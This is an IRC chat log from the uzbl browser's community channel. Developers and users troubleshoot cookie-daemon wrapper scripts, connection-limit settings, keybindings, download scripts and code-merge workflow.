22:44 < MichaelRaskin> With a tiling-capable WM.
22:44 < jelly12gen> and tabbedlayout
22:44 < MichaelRaskin> Just not to know about resizing issues
22:45 < MichaelRaskin> jelly12gen, well, I do well enough with my StumpWM setup - formally without tiling
22:45 < MichaelRaskin> It is another question that most of the time each group contains multiple windows of single application..
22:45 < jelly12gen> i use XMonad with tabbed layout
22:45 < MichaelRaskin> So it is functionally close to tabs
22:46 < MichaelRaskin> I chose StumpWM over Xmonad because extending WM in Lisp is easy for me, and I dislike Haskell.
22:48 < jelly12gen> hmm i don't care , use what you like ;)
22:49 < MichaelRaskin> I just explain why in the world I would consider uzbl in a WM without tab support in feature list a real thing
22:49 < MichaelRaskin> uzbl in KDE environment is clearly not a real thing
22:49 < jelly12gen> haha
22:49 < jelly12gen> hmm ok
22:57 < Dieterbe> good night guys
23:01 < holizz> Night.
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23:05 < jelly12gen> night
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03:03 < axedcode> is it possible to reload the config without restarting uzbl?
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03:06 < Bram__> there is a example in the example config
03:07 < axedcode> ok thanks
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05:44 < axedcode> bram__: !reload gives a segmentation fault
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08:11 < axedcode> can i bind middle clicking to open a new tab?
08:12 < axedcode> with uzbl_tabbed-py
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08:32 < holizz> With my bugfixes branch of uzbl (with the fix for the resizing issue), and ::-webkit-scrollbar {display:none}, I get white areas on some Web sites where the scrollbars would normally be.
08:33 < holizz> And now since switching over to gajim, they've disappeared again. Weird.
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12:38 < mason_l> <axedcode> can i bind middle clicking to open a new tab?
12:38 < mason_l> YEs
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12:41 < mason-l> axedcode, http://www.uzbl.org/wiki/middle_click_links
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12:53 < mason-l> Dieterbe, I had a look at that browser benchmarking website you linked to on the mailing list and noticed uzbl only allows a maximum of 2 simultaneous connections to the server at any one time. Maybe this is the cause of the gmail ajax failures? Is there a variable exposed somewhere that we can play around with?
12:54 < Dieterbe> mason-l: yeah i think we had max_conns and max_conns_per_host or something
12:55 < mason-l> Dieterbe, Silly me, I can't believe I missed that in the readme.
12:55 < Dieterbe> { "max_conns", PTR_V_INT(uzbl.net.max_conns, 1, cmd_max_conns)},
12:55 < Dieterbe>     { "max_conns_host", PTR_V_INT(uzbl.net.max_conns_host, 1, cmd_max_conns_host)},
12:56 < mason-l> The default is 1?
12:56 < Dieterbe> no, 2 and 10 iirc
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12:57 < Dieterbe> we should probably add improved ones in config.h
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13:15 < mason-l> Dieterbe, I've upped my connections to 6 & 60 and now gmail doesn't seem to have any problems (I did have to logout and log back in though (weirdly)).
13:16 < Dr-Horrible> what do I hear, no gmail problems. Where can I try?
13:17 < mason-l> Dr-Horrible, set "set max_conns = 60" & "set max_conns_host = 6"
13:17 < mason-l> Then logout and log back in and tell me if you have any problems.
13:17 < mason-l> brb shower.
13:18 < Dieterbe> mason-l: i suggest you do some more testing. to see whether it doesn't negatively impact performance (eg lots of conns at same time may be not so healthy). if all looks good, patch config.h :)
13:22 < Dr-Horrible> It seems to work _0_
13:25 < Dieterbe> huh. it looks like loading pages is much faster now also
13:27 < Dieterbe> i'm running: set max_conns = 200
13:27 < Dieterbe> set max_conns_host = 12
13:30 < Dieterbe> interesting: http://blogs.zdnet.com/Burnette/?p=565
13:35 < scj> i will change max_conns to one billion and see if the speed melts my face off
13:36 < Dieterbe> :)
13:37 < Dieterbe> the tricky one to tweak correctly is max_conns_host.  we should probably just do what other browsers do and set it to 8 or something
13:38 < Dieterbe> no wait, 6
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20:49 < scj> axedcode: not really, but that depends on what cookie handler you use
20:49 < axedcode> cookie_daemon.py
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20:50 < axedcode> its supposed to be the fastest/most advanced from what i read in here
20:50 < axedcode> my cookies.txt file is huge
20:51 < scj> axedcode: you're using that stale fifo protection wrapper script, right?
20:51 < axedcode> yes
20:52 < scj> you could use that to filter your cookies.txt
20:52 < scj> upon exit
20:52 < scj> but that wouldn't work that well if you're using multiple uzbls at the same time, I guess
20:52 < axedcode> what if i keep uzbl open for long periods of time and don't want domains to be storing cookies for later visits?
20:53 < bct> it's fairly easy to hack cookie_daemon.py.
20:53 < scj> does it cache cookies.txt? otherwise it's a matter of filtering the file from the domains you don't want
20:54 < bct> pretty sure it does.
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20:54 < axedcode> surprised i cant find a whitelist script yet
20:54 < axedcode> i might make one
20:58 < Dieterbe> good evening ladies
20:58 < scj> sup
20:58 < axedcode> hi dieterbe
21:00 < holizz> axedcode, Here's your whitelist: http://docs.python.org/library/cookielib.html#cookielib.DefaultCookiePolicy
21:01 < axedcode> thanks. i'll have to read up on how to use python with uzbl
21:01 < holizz> That's why I used cookielib in my original cookies.py - filtering is just a matter of attaching the CookiePolicy to the CookieJar.
21:01 < axedcode> truthfully, the only python/oop i've done is my rpg pygame
21:03 < holizz> Hint: Where self.jar is instantiated as a MozillaCookieJar, you'll want to do something like policy=DefaultCookiePolicy(allowed_domains=['a','b','c']);self.jar.set_policy(policy).
21:03 < axedcode> thanks. seems simple enough
21:04 < axedcode> does cookie_daemon.py use the same approach?
21:04 < holizz> Yep, that's what I was referring to - cookie_daemon.py is based on cookies.py.
21:05 < axedcode> ok great. i had to hack that to shit already to get it to exit with uzbl
21:05 < axedcode> i'm pretty familiar with it
21:10 < holizz> Oh yeah, I made an uzblctrl in Python. I should put that up somewhere.
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21:10 < scj> may I suggest the wiki?
21:12 < axedcode> hehe uzbl_tabbed is quite rediciulous
21:12 < holizz> I've put code on there before. I'll upload a gist and then copy/paste it to the wiki.
21:13 < axedcode> unbelievable how a tab with an instance with a blank page can use so much ram...makes more than a couple tabs limited with 1gb of ram
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21:20 < axedcode> holizz: do you know when it writes cookies.txt? i deleted it and i'm trying to get it to create
21:21 < holizz> axedcode, Every time a request is made over the socket it reads cookies.txt, and then it writes again immediately after.
21:22 < axedcode> holizz: sorry, i deleted 'cookies' in the config dir...i see now. but i just deleted the correct one and it created itself with the contents it had before with tons of domains
21:22 < axedcode> how can i clear the cache or whatever its doing?
21:23 < holizz> axedcode, Aha. It will keep the cookies internally, so you're best off killing the process and starting it again.
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21:27 < axedcode> holizz: i see...thanks, that did it
21:35 < bct> really, it rereads it every time?
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21:36 < bct> that seems inefficient.
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21:42 < holizz> Oh look. I was wrong. It doesn't reread it every time.
21:42 < axedcode> holizz: you are a god...just like python
21:42 < axedcode> woohoo, think this minor change is worth posting to the wiki?
21:42 < holizz> axedcode, I'm glad somebody recognises my godhood.
21:43 < holizz> You have to upload it somewhere. Maybe it can be merged in.
21:45 < axedcode> ok cool. i'm going to add on it to some and make a config file for line by line domains to allow
21:51 < Dieterbe> holizz: your scheme handler is not yet merged in, right?
21:52 < holizz> Dieterbe, Correct.
21:52 < Dieterbe> damn..
21:53 < Dieterbe> i have a too big backlog of pull requests
21:53 < holizz> Branches you have yet to merge from me: bugfixes, home-and-end, nouzblctrl, and scheme_handler. ;)
21:54 < Dieterbe> :P
21:54 < holizz> Maybe what you need is a system like Linux has - where you have some trusted party who merges loads of stuff, and then you merge from them every so often. And then you abuse that person until they quit.
21:56 < bct> haha
21:57 < holizz> I quite like Gitorious' merge-request system - that's very nice. You can see all the branches you're yet to merge from. And you can comment on them, and such, and it shows you a commit log between your HEAD and the new branch.
21:59 < Dieterbe> yeah actually i want to have a system like linus has (minus the abuse the people until they quit)
22:00 < Dieterbe> but i'm not sure how to really go at it
22:02 < bct> 1. find someone you trust
22:02 < bct> 2. convince them that maintaining an open source project is lots of fun
22:02 < bct> easy-peasy.
22:03 < Dieterbe> i have problems with 1.  but that's probably more because me then because of the people
22:04 < Dieterbe> also, everyone can -right now- already merge in other peoples code and test it and tell me if it's good or not
22:04 < Dieterbe> but maybe i should make that more clear in some way
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22:05 < bct> some semi-official way of commenting on somebody's branch, maybe?
22:06 < bct> that way you know what branches people are using and what their status is.
22:07 < holizz> Sounds like we could do with a proper merge-request system. Anybody can send merge-requests then when the trusted people comment and say "yeah, this works" you click the merge button.
22:07 < Dieterbe> merge button? :)
22:07 < Dieterbe> git merge does the job
22:07 < Dieterbe> so , basically the system we have now, but i need to assign people a "test merge requests and tell me if they are good" role?
22:10 < holizz> Maybe pick a few people, so it's not all on one person. And have them reply to the requests on the ML saying "Yeah, this works"?
22:10 < holizz> Anyway, I've got to go shopping now.
22:10 < holizz> brb
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22:13 < bct> testing positions don't even need to be assigned, as long as there's some not-too-annoying channel for giving you feedback
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22:17 < bct> if anyone can give QA feedback it gives non-programmers an easy path from untrusted to trusted
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22:34 < github> uzbl: Paweł Zuzelski experimental SHA1-d65956b
22:34 < github> Pass proxy_url to download handler
22:34 < github> http://github.com/Dieterbe/uzbl/commit/d65956b40cb3b4c1ba21b54d2e5184d67c27cbe9
22:34 < github> uzbl: Dieter Plaetinck experimental SHA1-cd0d143
22:34 < github> Merge commit 'pawelz/experimental' into experimental
22:34 < github> http://github.com/Dieterbe/uzbl/commit/cd0d1439455c3dbc1574885567cbf8da841415f7
22:34 < github> uzbl: Dieter Plaetinck experimental SHA1-fd0c871
22:34 < github> update authors file
22:34 < github> http://github.com/Dieterbe/uzbl/commit/fd0c8713c7dbd35376746226644f4d4b66789f11
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22:40 < holizz> Dieterbe, Are you sure it's best this way? I mean passing the proxy_url as $9? You can get it through the socket.
22:41 < Dieterbe> well, at some point we will revise all the argument stuff anyway
22:41 < Dieterbe> for now, yes i think this is the _easiest_ way
22:41 < holizz> Okay.
22:41 < Dieterbe> (just like we pass various things to various handlers)
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22:42 < github> uzbl: Tom Adams experimental SHA1-3cd6ac9
22:42 < github> Send Home and End straight to WebKit too.
22:42 < github> http://bit.ly/4zG6qd
22:42 < github> uzbl: Dieter Plaetinck experimental SHA1-8cfc268
22:42 < github> Merge commit 'remotes/holizz/home-and-end' into experimental
22:42 < github> http://bit.ly/upvEb
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22:46 < holizz> That was another _easy_ fix. Oh, maybe when we have bindable special keys, we can have a special command that passes the keypress through to WebKit. So bind <home> = <passthrough>.
22:46 < bct> has it been decided what syntax to use for binding special keys yet?
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22:59 < Dieterbe> not really
22:59 < Dieterbe> but we want to use x keysyms
23:01 < Dieterbe> good night all
23:04 < holizz> Night, Dieterbe! Good work with all those merges.
23:07 < holizz> Can anybody test my bugfixes branch before Dieterbe merges? I'm getting weird bugs with the CSS to hide the scrollbars.
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23:57 < holizz> Is it just me, or does scrolling not work anymore? i.e. with the commands.
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00:20 < mason-l> holizz, Did you ever see my py-uzbl-ctrl branch? We should team up on the uzblctrl.py front.
00:20  * mason-l has to head to work though, see you all later.
00:21 < holizz> Ah, see you later then. I'll take a look at that.
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01:21 < Dr-Horrible> Home and End keys work _0_
01:33 < holizz> They do indeed.
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02:48 < buyqerwiuv> hey, I would like to try and see if I can do anything about the errors a couple websites in uzbl, but the only things I have to go on are seg faults and error 500 problems
02:48 < buyqerwiuv> yeah thats probably an unreasonable way to go about things
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02:49 < buyqerwiuv> on the other hand I would also like to make a python greasemonkey immination, where is the documentation for passing arguments to and from scripts?
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07:03 < linopolus> Hi
07:03 < linopolus> How can I close all the whole window with all tabs and save the tabs to the session file with uzbl_tabbed.py?
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09:19 < Dieterbe> good morning
09:49 < rob|> morning.
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10:05 < rob|> hmm, we should make a decision on all these not typeable bindings. that seems to be one of the major user requests..
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10:06 < Dieterbe> yeah
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10:08 < rob|> i'm still pro of a more generic way though, i.e. something message alike so you can build your own logic into the bindings parser
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10:18 < rob|> also what do you think about exposing the dom as uzbl variables. i'm thinking about a simple "translator" that would more or less transform var names like "dom_document.length" to the actual JS code
10:22 < rob|> for arrays we could use something like "dom_document.images.5.src" or probaly even keep the original syntax "dom_document.images[5].src"
10:23 < Dieterbe> hmm afaik you can already grab the dom and such things by using JS code
10:23 < rob|> and treat everything after 'dom_' as valid JS code that denotes a dom element
10:23 < rob|> sure, though my intention is to not make this a requirement
10:24 < rob|> we will need something like this anyways when the webkit guys decide to include C DOM access
10:24 < Dieterbe> but since you can send js code into the socket i don't really see the point of hardcoding a bunch of wrappers/translators
10:24 < rob|> i mean you'd still have to somehow present the DOM to the user
10:25 < Dieterbe> yes that's true. we should revisit the wrapper/translator thing when we have C DOM access. but for now i think the js fine is good enough
10:27 < rob|> well, ok
10:31 < Dieterbe> btw how is the work thing going?
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10:38 < rob|> slowly...
10:39 < Dieterbe> i see
10:40 < rob|> i might have some free time from 11.9-13/14.9
10:40 < rob|> i.e 4 or 5 days including the WE
10:42 < Dieterbe> okay, so you're hereby saying the 29aug-6sept trip won't work out?
10:43 < rob|> unfortunatelly, i really can't go any earlier :(
10:45 < Dieterbe> don't worry. no hard feelings
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11:52 < Frots> heyey
11:52 < Frots> made some downloadque script
11:52 < Frots> very simple but it does the job
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12:01 < dunz0r> Frots; code?
12:01 < dunz0r> pastebin etc
12:02 < dunz0r> I'm gonna write a download script with cookiehandling and mime-type recognition tonight when I get home I think
12:03 < Dieterbe> i think there was already a cookie aware one on the wiki
12:03 < Dr-Horrible> A cookie aware one is as easy as pointing wget to the cookie file
12:04 < dunz0r> yup
12:04 < dunz0r> the one on the wiki doesn't work that well though
12:04 < dunz0r> doesn't handle cookies and what not
12:04 < Dr-Horrible> I just made dl-progress cookie aware:P
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12:07 < dunz0r> hmm. should write a dl-progress for awesome :D
12:07 < Dr-Horrible> Why for awesome? It just uses dzen2 so it's for every wm right?
12:08 < dunz0r> but why would I want to use an extra statusbar thingie?
12:08 < dunz0r> I already have one
12:08 < Frots> dunz0r: 1 seci=ond
12:08 < Frots> second
12:09 < Frots> dunz0r: http://pastebin.ca/1542999
12:09 < Dr-Horrible> Frots: Your dutch?
12:10 < Frots> yes
12:10 < Frots> why?
12:10 < Frots> :p
12:10 < Frots> oh lol
12:10 < Frots> sorry I made it dutch
12:10 < Dr-Horrible> Luckily I;m dutch too:P
12:10 < Frots> I dont do scripting much, so I was happy It worked finally :p
12:10 < Frots> the way it works:
12:11 < Frots> if you download a file in uzbl
12:11 < Frots> the script adds it to a que file
12:11 < Frots> and you'll have to run the script from terminal (no arguments) to process que
12:11 < Frots> this way you'll have a progressbar (wget) and more control
12:12 < Frots> might be some stupid way, but it was fun to do :p
12:12 < dunz0r> quite a clever solution imo
12:14 < Frots> 1 sec i'll do it in english
12:14 < Frots> http://pastebin.ca/1543000
12:14 < Frots> Thats what i thought
12:14 < Frots> im using it now and works like a charm
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12:14 < Frots> you can also add urls from terminal
12:15 < Frots> I think the script will freak out a bit if you give wrong arguments
12:15 < Frots> and it isn't very clean/good bash scripting i think
12:15 < Frots> (portable??
12:15 < Frots> )
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12:17 < dunz0r> I think it looks portable/sh compatible anyway
12:17 < Frots> ok
12:17 < dunz0r> not entirely sure though
12:17 < Frots> well if its usable maybee I should but it somewhere
12:17 < Frots> wiki or something
12:17 < Dr-Horrible> Im still looking for a way to download the files by their pretty name instead of something.php?get=Somethingelse&etcetera
12:18 < dunz0r> mhm. me too
12:18 < dunz0r> there has to be someway to do that
12:18 < Frots> Dr-Horrible: you mean it should translate it first
12:18 < Frots> curl?
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12:18 < dunz0r> just what I was going to suggest ;)
12:18 < Frots> :p
12:19 < Frots> I know nothing about it
12:19 < Frots> but testing it with a sample url
12:19 < Frots> should be easy shouldnt it?
12:19 < dunz0r> you would think so at least :)
12:19 < dunz0r> time for lunch I think.
12:19 < dunz0r> bbl
12:19 < Frots> ok
12:19 < Frots> i'll try to find such URL
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12:32 < Frots> Dr-Horrible: ehy, you've got a sample url for me so I can test the issue?
12:36 < mason-l> linopolus, How can I help you with uzbl_tabbed.py ?  <linopolus>
12:36 < mason-l> (Ignore the trailing "<linopolus>" it was a slip of the keyboard)
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12:48 < Dr-Horrible> http://www.mininova.org/get/2886714
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12:56 < mason-l> Dr-Horrible, What did I just download?
12:56 < zodmaner> Guys, I have a question. How to I open link in new window follow_Numbers.js
12:56 < Dr-Horrible> I have no idea, just got a random link from mininova for Frots to test
12:57 < mason-l> zodmaner, You will have to modify the script to use window.open(uri)
12:57 < zodmaner> mason-l: Ah neat, thanks
12:59 < zodmaner> mason-l, Hm... where do I modify the follow_Numbers.js to do that
12:59 < Frots> Dr-Horrible: thanks ;p
13:00 < mason-l> zodmaner, Give me a moment, I'll find the line number for you
13:00 < zodmaner> manson-l: Thank you! :D
13:00 < Frots> Dr-Horrible: is that A radio set?
13:00 < Dr-Horrible> Frots: No idea :P
13:00 < Frots> Simon Underground @ Krafty Radio
13:00 < Frots> thats a damn good DJ show :P what a coincidence
13:02 < mason-l> zodmaner, You should find two lines in follow_numbers.js which contain "window.location = item.href;" change that to window.open(item.href);
13:02 < mason-l> 130 & 144 (on my computer)
13:02 < zodmaner> manson-l: Got it, give me a sec...
13:02 < sscj> zodmaner: use linkfollow.js instead
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13:03 < scj> oh, and sup ppl
13:03 < mason-l> zodmaner, Beware though you may need to check if the link is a local anchor I.e. something like "/this/that/2009/etc" instead of "http://google.com/this/that/2009/etc"
13:03 < Frots> Dr-Horrible: if I dump the file headers with curl I get this:
13:03 < zodmaner> manson-l: I see, thanks for the warning
13:03 < Frots> http://pastebin.ca/1543030
13:03 < mason-l> zodmaner, But thats how you do it nonetheless.
13:04 < Frots> Dr-Horrible: so this is easy to strip the filename i think
13:04 < Dr-Horrible> Thanks, Im going to work on that
13:04 < Frots> i used curl -D dumpfile
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13:05 < Frots> Dr-Horrible: even better is to use curl -I
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13:06 < Frots> I'm going to try it on other URLs
13:08 < zodmaner> manson-l: Hm... it didn't seems to work, when I use the script, it did nothing
13:08 < zodmaner> scj, thanks, I will check that script out later ;)
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13:34 < mason-l> zodmaner, It will only work for normal links not submit buttons or anything.
13:34 < zodmaner> manson-l: I try it on link in uzbl home page.
13:34 < mason-l> zodmaner, Whats your new window handler
13:34 < zodmaner> manson-l: No idea. :P I just changed both line to "window.open(item.href);".
13:35 < mason-l> Maybe its document.open ?
13:35 < zodmaner> Sorry for my Javascript newbieness :P
13:35 < mason-l> (mee too)
13:36 < mason-l> No its window.open
13:36 < zodmaner> Hm...
13:36 < zodmaner> What about if we try copy a link instead
13:37 < zodmaner> mason-l: "window.open(item.href);" works on your box, right? Then maybe I did something wrong
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13:38 < mason-l> zodmaner, I'll make the same changes and let you know.
13:38 < zodmaner> mason-l: Thanks!
13:41 < mason-l> zodmaner, I don't know why its not working for me either.
13:41 < mason-l> I'm missing something.
13:42 < mason-l> Might have to ask some people who.. you know.. actually know js :P
13:42 < zodmaner> mason-l, :)
13:42 < zodmaner> mason-l, I look in linkfollow.js that scj suggested
13:42 < zodmaner> It got this:
13:42 < zodmaner>     window.open(item.href,"uzblnew","");
13:43 < zodmaner> But I try it, it didn't work either
13:44 < zodmaner> Thanks for the help anyway, mason. ;)
13:44 < zodmaner> Also, uzbl is great, thanks everyone who worked on it.
13:44 < zodmaner> Now, if I can get open in new window to work, it'd be perfect (well, for me at least :-P).
13:47 < Frots> Dr-Horrible: what about this:
13:47 < Frots> filename=`curl -I http://www.mininova.org/get/2886714 | grep "filename=\"" | sed -e 's/.*filename="//' | sed -e 's/".*$//'`; wget -O "$filename" http://www.mininova.org/get/2886714
13:47 < holizz> zodmaner, Sorry I've not being paying attention to the whole conversation, but does Right click -> open in new window not work?
13:48 < zodmaner> holizz: Hi. Yes, that works just fine. But I'm trying to get open in new window using script to work.
13:48 < Dr-Horrible>  thanks Frots! works like a charm.
13:48 < zodmaner> holizz: So that I can use keyboard to open link, just like in vimperator. ;)
13:49 < zodmaner>     window.open(item.href,"uzblnew","");
13:49 < boxxar> has anybody ever thought about conditionals in the statusbar? e.g. I want the whole content of my statusbar to be replaced with the uri of a link when I hover over it
13:49 < holizz> zodmaner, Maybe Uzbl.run('sh uzbl '+uri) ?
13:50 < zodmaner> holizz: Put that in the script right? Let me try that out
13:50 < holizz> boxxar, You can embed JS and shell output in the bar.
13:50 < Frots> Dr-Horrible: you think it would work on scripts that change the link on request? because we're making two request now
13:50 < boxxar> java script sounds nice ...
13:51 < holizz> boxxar, @<js.goes.here()>@ for JS, I think...
13:51 < boxxar> (I don't want to spawn processes everytime I hover over a link)
13:51 < holizz> The README covers all the @@ embedding.
13:52 < boxxar> oh, overlooked this :-)
13:52 < zodmaner> holizz: It still doesn't work.
13:52 < boxxar> thanks!
13:53 < scj> 80% of all questions in this chan could be answered with "read the readme" :v
13:53 < Frots> lol
13:54 < holizz> scj, The remaining 20% could be answered with "what version are you using? That's too old, use Dieterbe/experimental."
13:54 < Dieterbe> lol
13:54 < zodmaner> scj: Did open in new window work using linkfollow.js?
13:54 < Dieterbe> holizz: don't forget about the 10% "we still need to implement this" :)
13:54 < zodmaner> Hm... maybe I should switch to experimental and see if open in new window using script would work there. :P
13:54 < scj> zodmaner: no, but you could hack it to work
13:55 < holizz> Dieterbe, And "this is working in my branch, but hasn't been merged in yet".
13:56 < zodmaner> scj: Well darn it. Any hint? I don't know any javascript, unfortunately.
13:56 < Frots> the script is pretty transparent so you could learn a lot from looking into it
13:57 < zodmaner> Frots, I'll try
13:57 < scj> zodmaner: if you use linkfollow.js, you could do something like 'bind F* = hint.follow("%s",function (item) { Uzbl.run("set uri " + item.href)})'
13:57 < scj> it's far from ideal though
13:57 < zodmaner> scj: Ah, I see
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13:58 < zodmaner> Thank for the hint, scj, let me try that out.
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13:59 < scj> bind F_, obviously
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14:39 < axedcode> is cookie_daemon.py worth the added maintenance of managing another process?
14:39 < Dieterbe> definitely
14:39 < mason-l> axedcode, Very easy and minimal maintenance when using it with a wrapper script.
14:39 < axedcode> i mean, why not cookies.py? is it that much worse?
14:40 < Dieterbe> yes
14:40 < mason-l> axedcode, uzbl.org/wiki/cookie_daemon.py
14:40 < Dieterbe> try to browse while using cookies.py.  you'll surely find it goes slow
14:40 < mason-l> axedcode, Look at the "Create an automatic cookie daemon launcher" section.
14:40 < axedcode> because my bash scripting sucks...for some reason pgrep returns the wrong pid...like it spawns another process of itself and kills the parent or something on run
14:42 < axedcode> i'm trying to get the daemon to exit with uzbl, so that i don't get duplicate processes
14:42 < mason-l> axedcode, You don't need to worry about it.
14:43 < axedcode> why, each process uses 2% of my ram? they pile up with every instance of uzbl
14:43 < mason-l> axedcode, The daemon can automatically tell (and check) if another daemon is running.
14:43 < mason-l> And the daemon closes automatically. There is only ever 1 daemon running (thats the idea of the daemon).
14:43 < axedcode> nope
14:44 < mason-l> Oh?
14:44 < axedcode> i get many python instances in top...all with cookie_daemon.py script
14:44 < mason-l> axedcode, Try to run the cookie_daemon.py with the -v option and tell me if you see any errors
14:45 < axedcode> no errors
14:45 < mason-l> axedcode, Seeing anything at all?
14:46 < axedcode> yes, verbose mode on, entering daemon mode
14:46 < axedcode> if i run it again from the cli, i get the error of detecting another daemon. but with uzbl, it spawns another one
14:46 < mason-l> oh sorry, run: ./cookie_daemon.py -vn
14:47 < mason-l> axedcode, Is the daemon config correct in uzbl?
14:47 < axedcode> additionally listening on '/home/axion/.cache/uzbl/cookie_daemon_socket'
14:48 < mason-l> axedcode, And whats in your uzbl launcher?
14:49 < mason-l> Also how recent is your cookie_daemon.py script?
14:49 < axedcode> weird...i cant get it to duplicate itself now
14:49 < axedcode> im confused
14:52 < axedcode> ah yeah there it is
14:53 < axedcode> i am using uzbl_tabbed if that can cause a problem
14:53 < mason-l> I always use uzbl_tabbed.py
14:53 < mason-l> No problems here.
14:53 < axedcode> hmmm
14:54 < mason-l> So its having problems again?
14:54 < axedcode> yes
14:54 < mason-l> Can you replicate it?
14:54 < mason-l> Can you upload your wrapper script
14:54 < mason-l> uzbl wrapper/launcher
14:55 < axedcode> so you want me to manually start the daemon first?
14:56 < mason-l> axedcode, (1) kill all daemons (2) run ./cookie_daemon.py -nv (3) launch uzbl (not uzbl_tabbed.py) via command line and tell me if another cookie daemon launches.
14:57 < mason-l> You will need to launch uzbl in another window as the -n option makes it not enter daemon mode.
14:57 < axedcode> yes
14:58 < mason-l> type: which uzbl
14:58 < axedcode> i launched it with /usr/bin/uzbl because i override that name in ~/bin for my wrapper
14:59 < Dieterbe> mason-l: i think i will start distributing your wrapper script in such a way, that if you do 'make install' /usr/bin/uzbl will be your script, which calls the daemon and /usr/bin/uzbl-core or something (which is the real uzbl program)
14:59 < Dieterbe> unless someone can come up with a better/cleaner way
14:59 < mason-l> Dieterbe, As long as people don't object I'm fine with that solution.
14:59 < axedcode> so i should rename /usr/bin/uzbl to uzbl.real
15:00 < axedcode> i even editing uzbl_tabbed to reflect /usr/bin/uzbl
15:00 < axedcode> since it was called plain old uzbl before
15:00 < mason-l> axedcode, no no no no.
15:00 < Dieterbe> mason-l: except that i'm not sure yet how clean it would be.
15:00 < axedcode> ok
15:01 < mason-l> Dieterbe, I might get back to you on that because I'm not sure people will want to be launching the /usr/share/uzbl/examples/data/uzbl/scripts/cookie_daemon.py script instead of $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py by default.
15:02 < mason-l> Because the script will error if the person doesnt have the cookie daemon at  $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py
15:02 < axedcode> well seems the problem is because my wrapper is named uzbl too
15:02 < mason-l> axedcode, Thats the idea.
15:02 < axedcode> i just renamed my wrapper and launched /usr/bin/uzbl and i dont experience it
15:03 < axedcode> so i must do as dieterbe suggested i'm guessing
15:03 < mason-l> axedcode, The wrapper should be called uzbl and I kept it at $/.bin/uzbl
15:03 < mason-l> Sorry $HOME/.bin/uzbl
15:03 < axedcode> yeah same thing, well ~/bin
15:03 < Dieterbe> mason-l: obviously i would do some modifications where needed. such as using $XDG_DATA_HOME/uzbl/scripts/cookie_daemon.py, and of course not calling it if it doesn't exist
15:03 < mason-l> then added ~/.bin to my $PATH variable.
15:03 < axedcode> yep
15:03 < axedcode> same here without the dot
15:04 < mason-l> axedcode, when you type: which uzbl what do you see?
15:04 < axedcode> /home/axion/bin/uzbl
15:04 < mason-l> You should see something like /home/mason/.bin/uzbl
15:04 < mason-l> ok
15:04 < mason-l> and whats in uzbl?
15:04 < Dr-Horrible1> I just start the deamon with .xinitrc
15:05 < axedcode> ${HOME}/.local/share/uzbl/scripts/cookie_daemon.py
15:05 < axedcode> uzbl_tabbed $*
15:05 < axedcode> rm -f $HOME/.cache/uzbl/* &> /dev/null
15:05 < mason-l> oh wow
15:05 < mason-l> um, that's your problem alright.
15:06 < mason-l> You don't launch uzbl_tabbed.py via your uzbl wrapper.
15:07 < axedcode> oh
15:07 < mason-l> And absolutely dont blanket delete all the files in $HOME/.cache/uzbl/
15:08 < mason-l> because other scripts use that cache folder also I.e. the daemon.
15:08 < mason-l> The daemon socket is essentially the daemons pid file
15:09 < mason-l> axedcode, This is my launcher http://dpaste.com/85583/
15:09 < axedcode> hmm ok. i tried scj's date hash fifo/socket wrapper and with uzbl_tabbed it didnt quite work so i just removed everything
15:09 < axedcode> i'll clean this up a bit and report back
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15:10 < scj> I'm guessing uzbl_tabbed names the uzbl instances
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15:10 < mason-l> I've found that all uzbl instances tend to clean up after themselves quite nicely there is no need to arbitrarily delete all sockets in the cache dir unless you are absolutely certain that the programs using them aren't running.
15:10 < mason-l> scj, only the number.
15:10 < mason-l> scj, But yes.
15:13 < mason-l> Brb 5 minutes.
15:13 < Dieterbe> unless uzbl crashes ;) then you have some leftover files
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15:14 < scj> ideally, there would be an easy way to set per instance (fifo|socket)_dir but I didn't find any
15:14 < mason-l> Dieterbe, I haven't seen anything and I find that uzbl segfaults when trying to kill flash elements on the page all the time.
15:14 < axedcode> ok talk_to_socket is fialing
15:14 < axedcode> not sure why
15:15 < axedcode> same wrapper as you
15:15 < mason-l> axedcode, Show us the line
15:15 < mason-l> In your config for the cookie handler
15:15 < axedcode> set cookie_handler      = talk_to_socket $XDG_CACHE_HOME/uzbl/cookie_daemon_socket
15:16 < Dieterbe> show us the output of $XDG_CACHE_HOME/uzbl/cookie_daemon_socket and run uzbl on the command line
15:16 < mason-l> axedcode, What does: echo $XDG_CACHE_HOME  output?
15:16 < axedcode> echo $XDG_CACHE_HOME/uzbl/cookie_daemon_socket
15:16 < axedcode> /home/axion/.cache/uzbl/cookie_daemon_socket
15:17 < mason-l> Ok good.
15:17 < axedcode> uzbl
15:17 < axedcode> /usr/share/themes/Milke 2.3/gtk-2.0/gtkrc:17: Unable to find include file: "icons/iconrc"
15:17 < mason-l> does uzbl say "timing out connection to socket" or something over and over?
15:17 < axedcode> talk_to_socket: connect failed (No such file or directory)
15:17 < axedcode> a bunch of the last line repeating
15:17 < mason-l> axedcode, Have you checked the socket exists?
15:17 < axedcode> no it does not
15:18 < rob|> no socket no cookies  (always wanted to write this ;))
15:18 < mason-l> rob|, But who was lamp?
15:18 < scj> plz rename 'talk_to_socket' to 'socket' tia
15:19 < axedcode> ok i had to edit uzbl_tabbed
15:19 < Dieterbe> scj> plz rename 'talk_to_socket' to 'socket' tia <-- 1) huh? 2) what does tia mean?
15:19 < mason-l> axedcode, I say undo ALL edits just to be on the safe side :P
15:19 < scj> Dieterbe: thanks in advance
15:19 < mason-l> scj, I did not know that.
15:19 < axedcode> mason-l: the problem was i ent back to the default uzbl_tabbed which calls uzbl instead of /usr/bin/uzbl
15:20 < mason-l> axedcode, :)
15:20 < axedcode> now i just gotta find out why uzbl_tabbed doesnt work
15:20 < mason-l> axedcode, Whats wrong with it?
15:20 < axedcode> no gtk tabs
15:21 < axedcode> new windows are created as normal
15:21 < Dieterbe> scj: and what about my '1' ? the command is talk_to_socket, not socket afaik
15:21 < mason-l> axedcode, What do you mean?
15:22 < scj> Dieterbe: that's my point. the command talk_to_socket should be renamed to socket
15:22 < Dieterbe> oh
15:22 < scj> it is needlessly verbose
15:22 < Dieterbe> yep that's right
15:22 < mason-l> Dieterbe, I agree, talk_to_socket is needlessly verbose
15:22 < scj> and sticks out like a sore thoumb
15:22 < scj> thumb*
15:22 < Dieterbe> the one who fixes it gets a free cookie
15:22 < axedcode> how should i be launching uzbl like this?
15:22 < Frots> Dieterbe: http://pastebin.ca/1543177 is this usable enough to put on the wiki?
15:22 < mason-l> axedcode, You are launching uzbl_tabbed.py arent you?
